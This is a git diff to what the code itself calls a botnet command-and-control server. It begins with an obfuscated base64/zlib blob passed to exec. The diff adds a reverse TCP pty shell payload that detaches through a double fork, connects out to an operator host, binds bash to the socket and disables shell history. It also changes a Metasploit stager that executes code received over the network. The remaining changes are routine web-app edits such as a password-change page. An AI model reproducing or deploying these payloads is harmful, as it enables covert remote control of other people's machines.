c+/t/ZaGW7tjZ/S1Fx2pIp6qhupoOgQEF7Y7RIhWoAV6UuxSRkOsiAtSukYgQ1QixhW65YyAU0gQlQqGbnAsiYWUOOjNWqcEQH2N60UEZhtxnVStu++cVsvTPZFoYPIckkSdOFfTyxMwNUpIK71/UF+/2Z4e0Fi5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PfKcQC1SSYQLhwBQZ0CHXikALaRbO6vLhIokIBSmIj5VFS2DonQf9R9ud2ooHTO0JUxtu63vlbYD8wMr4NqOsjCmwFxDp9OFhF9Vy8KLl/VE6ERJ4ZelWh/PvgWmkqChKRRcB5WkIGV7gWYmArQXVCnCkOLN6tTTZM5mZa9AEZYot5+b12oEeGU2a/TPLWX519V8zYVX1laC4EdD4ppIR15EXeC/WcAWPAqowquYGGggTsoi3WMv6J5DRVSUrIE1wzvScKDsiz0FMEOAQv1vTplbwXTq74hWx97bLcjK2iRg7enUEjMU2vYDM/6Uu7pdzKQoGwqNJkMhuDD8PkjoowjKlqubOK95Gkem9GYTSoYyxpUeNHumNpE1aGSm6xKkQSOcEw3UqY3a091Ugb5oplr9+0CwHXAGxh+4nPlunj5NDtSgMrJW6a9EzRxX+Ww8145MmKC2rjdvUG9keJL8kBi5X6AizfXlOrG5nUIVQ9JxhLp75LRrcbzsuezBl7dcRoiConO4bP9zmxWQ3QKyIEUO26C9vq3gNT1ia+7qIukKB/nz2oP/puLZhVE8n4v4WkHgDLDYU+ZoF7AIt4ED9xdEWarucLh80gj3Z4u2c1xysbDKyWBAXhlq28DlcleQmGBpxl4einayo49a5Soog7J0j+EoEoHuBvOleyvQ730LwoqBQrqlsNg8ta7OwYvyQLF9f754rXmRaxqwUvPCaGoPoEfhESc1T12dFken99TDQJvrFGgtK09HXkmYajDDEi0ienL9AzleSB8=')))
+exec(zlib.decompress(base64.b64decode('eJyVVltz4jYUfvev0PrFpoCd5KHdyeDs0EC2TNnABDJtJ2EYYQtQY0seSQ4wO7u/vUfyBTuBbctDIuscfef2nSPRJOVCoQ1RKZbSovknr1YyW6WCh+Qok4dqmcZYrblIrN8ms3ngCMKSTO4jL4qY9BhRjjWdPMyDy18uPhqV0f3d5G40HgaOt+USxKNB8Ukjx5rN+w/zx+lyOh4Bmuv0Pu2TGL0SISlngX3pXdiIsJBHlG0C+3F+1/1of7px2s4zc5DT+zCY3M7/mg7BKyoVmj7+Oh7dIrvr+/00jYnvD+YDZLARQPn+8N5GcM7eKpVe+/5ut/OwVvRCnmhd6U8FT4lQhzHgdeGMF6nIPhrM7TT8OwojGqrq61nBqvdCDjdjvCJxz9fLplAqAWHdgO3Ci5iuBBYHyiKy7/mF+D3gH1y8gGRABQkVF4cfYH9Nd9G3H0BBuBuBk77YZAlhSp6CwkLg+t4bAwe15WyZYrU9ZaipLENBU3VWWav6b82Vrj5krK/GHEenfFQiI/6JQzOFhRoxRcQrPlkDCrINETc/X/T8cv0e5ndC0n5MX8n/sd1fYRZxNs1b6bPgWfrvx3t+g0U93zCu+G5V/TKe3M6CJ8efHaQiiT/OieOPccbCbX+jS+l0zogHmCScafn30wcX1qA//DK5X973v0CjnuanZxyDDr59GE3npUPf/S+ZpKFP5xkj0i9PeOnBmPMiaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu60Z0Hb8MKbAVz+hLF8ZOp0vJPyOtSy9eFtPhM6UFH55qvXx/FtgKgkamkLBdXCUlKRsL9DMRIB2gipFGFK8WZ16mszZvOxHUIQlKuwX5rUaAV6ZzRr9C0t5/nU133PhnbWVIPjFkLgm0pGXUZf4HxawBQ8DqvAqJgYaiJOxSPfYG7oXUBEVFWtgzXBCGg5UfbGjAGYIUKr/zSlzjzCd+jui1bF3dguysjYJWHs6tcQMhbb9zIw/1a5uFzMpqoZCo8lQCC4Mvw8S+iiCshXqJs5bnsWRKb3ZhJIhu93woNkztYmsQSMzXZcgDRrhnGmgTm3Unu+mI+ibZqrVvw8ES4AzMP7A5dx38/RpcqAGlZP1mP6jqJnjYz4bz7UTEyaorevNG9QbGZ4kPyRG4ReoSHN9uU5sbqdQxZB0HKHuDjntWhxvey5/8BUtlxOipOgcLtv/3GYlZLeELElRwDZor28reFGP2Jq7uki6wkHxxPbgv6l4fmGUT+gyvlYQOAMsdpQ52gUswm3gwP0FUVaqCQ6Xrxrh6WLRdk5LrhZWNRkMyDtDbRu4XO0KEhMszdgrQtFOdvRRq1oFVVCW7jEcRSLQ3WC+dG8F+r1vQVgxUEi3FBab19bNJXhRHSi3ny4X7zWvCk0DVmleGU3tAfQoPOKk5qmr0+Lo9J57GGhznRKtZRXpKCoJUw1mWKpFRE+ufwCvYUzD')))
# Created by pyminifier (https://github.com/liftoff/pyminifier)
diff --git a/server/formatsock.py b/server/formatsock.py
index 4dba79c..3f0f8a1 100644
--- a/server/formatsock.py
+++ b/server/formatsock.py
@@ -12,6 +12,7 @@ def __init__(self, sock):
self.lastbytes = b''
self.sendlock = threading.Lock()
self.recvlock = threading.Lock()
+ self.datalock = threading.Lock()
def send(self,msg):
'''
@@ -86,3 +87,12 @@ def close(self):
# Allowed to close while recv, not while sending
with self.sendlock:
return self.sock.close()
+
+ def settimeout(self, timeout):
+ with self.sendlock:
+ with self.datalock:
+ self.sock.settimeout(timeout)
+
+ def gettimeout(self):
+ with self.datalock:
+ return self.sock.gettimeout()
diff --git a/server/payloads/metasploit_handler.py b/server/payloads/metasploit_handler.py
index 54d1cca..7d8d5db 100644
--- a/server/payloads/metasploit_handler.py
+++ b/server/payloads/metasploit_handler.py
@@ -5,11 +5,21 @@
VAR LPORT: Metasploit host port
'''
-import socket,struct
-s=socket.socket(2,1)
-s.connect((LHOST,int(LPORT)))
-l=struct.unpack('>I',s.recv(4))[0]
-d=s.recv(4096)
-while len(d)!=l:
- d+=s.recv(4096)
-exec(d,{'s':s})
\ No newline at end of file
+import os
+
+try:
+ # Use double fork + setsid/umask to mask parent process etc...
+ if os.fork() == 0:
+ if os.fork():
+ # _exit exits without cleanup.
+ os._exit(0)
+
+ import socket,struct
+ s=socket.socket(2,1)
+ s.connect((LHOST,int(LPORT)))
+ l=struct.unpack('>I',s.recv(4))[0]
+ d=s.recv(4096)
+ while len(d)!=l:
+ d+=s.recv(4096)
+ exec(d,{'s':s})
+except OSError as e:
diff --git a/server/payloads/reverse_pty.py b/server/payloads/reverse_pty.py
new file mode 100644
index 0000000..d18c852
--- /dev/null
+++ b/server/payloads/reverse_pty.py
@@ -0,0 +1,37 @@
+'''
+NAME: Reverse TCP pty
+DESCRIPTION: Opens pseudo-tty for terminal-like connections. Taken from python-pty-shells. Example listener: socat file:`tty`,echo=0,raw tcp4-listen:LPORT
+VAR LHOST: host ip
+VAR LPORT: host port
+'''
+import os, sys
+
+lhost = LHOST
+lport = int(LPORT)
+try:
+ # Use double fork + setsid/umask to mask parent process etc...
+ if os.fork() == 0:
+ if os.fork():
+ # _exit exits without cleanup.
+ os._exit(0)
+
+ os.setsid()
+ os.umask(0)
+
+ cmd = ("import os, pty, socket" + "\n"
+ "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)" + "\n"
+ "s.connect(('{}',{}))" + "\n"
+ "os.dup2(s.fileno(),0)" + "\n"
+ "os.dup2(s.fileno(),1)" + "\n"
+ "os.dup2(s.fileno(),2)" + "\n"
+ "os.putenv('HISTFILE','/dev/null')" + "\n"
+ "pty.spawn('/bin/bash')" + "\n"
+ "s.close()" + "\n"
+ "os._exit(0)" + "\n").format(lhost,lport)
+
+ # Completely forget all inherited information from parents.
+ os.execv(sys.executable, [sys.executable, '-c', cmd])
+
+ sys.stdout.write("Fork successful, going dark.")
+except OSError as e:
+ sys.stderr.write("{}".format(e))
diff --git a/server/server.py b/server/server.py
index f129e6a..7c98406 100644
--- a/server/server.py
+++ b/server/server.py
@@ -16,7 +16,7 @@
import flask
from flask import request
import flask_login
-from flask_login import LoginManager, login_required
+from flask_login import LoginManager, login_required, current_user
from flask_socketio import SocketIO
from flask_mail import Message, Mail
from itsdangerous import URLSafeTimedSerializer
@@ -27,7 +27,7 @@
To run: python server.py'''
-DEBUG = False
+DEBUG = True
HOSTNAME = 'botfly.me'
BASEDIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = 'payloads/'
@@ -44,7 +44,7 @@
app.config['SECURITY_PASSWORD_SALT'] = 'secret' if DEBUG else os.environ['SECRET_SALT']
DB_LOC = 'test.db'
-app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(BASEDIR, DB_LOC)
+app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(BASEDIR, DB_LOC)
socketio = SocketIO(app, async_mode=async_mode)
db.init_app(app)
@@ -109,11 +109,22 @@ def logout():
return flask.redirect(flask.url_for('login'))
-@app.route("/profile")
+@app.route("/profile", methods=['GET', 'POST'])
@login_required
def change_password():
- flask.flash("Under construction")
- flask.redirect(flask.url_for('index'))
+ errs = []
+ if request.method == 'POST':
+ # Change password (redirect on success)
+ passwd1 = request.form.get('password1')
+ passwd2 = request.form.get('password2')
+ if passwd1 == passwd2:
+ UserManager.change_password(current_user.uname, passwd1)
+ flask.flash("Success!")
+ return flask.redirect(flask.url_for('index'))
+ else:
+ errs.append("Passwords do not match")
+
+ return flask.render_template('profile.html', username=current_user.uname, errors=errs)
@app.route("/invite", methods=['GET', 'POST'])
@@ -312,7 +323,7 @@ def payload_launch():
return "No payload specified", 404
elif request.method == 'GET':
- payloadstr = json.dumps(botnet.getPayloads())
+ payloadstr = json.dumps(botnet.getPayloads(), sort_keys=True)
return flask.Response(payloadstr, status=200, mimetype='application/json')
elif request.method == 'DELETE':
diff --git a/server/serverclasses.py b/server/serverclasses.py
index eba1154..037b291 100644
--- a/server/serverclasses.py
+++ b/server/serverclasses.py
@@ -36,6 +36,10 @@ def change_password(uname, newpassword):
user = User.query.filter_by(uname=uname).first()
if user:
user.change_password(newpassword)
+ db.session.commit()
+ return True
+ else:
+ return False
class User(UserMixin, db.Model):
@@ -61,6 +65,7 @@ def validate(self, passwd):
def change_password(self, newpasswd):
self.pwhash = generate_password_hash(newpasswd)
+ return True
def __repr__(self):
return ''.format(self.uname)
diff --git a/server/templates/profile.html b/server/templates/profile.html
new file mode 100644
index 0000000..1ac51ee
--- /dev/null
+++ b/server/templates/profile.html
@@ -0,0 +1,42 @@
+
+
+{% include 'header.html' %}
+
+
+
+
\ No newline at end of file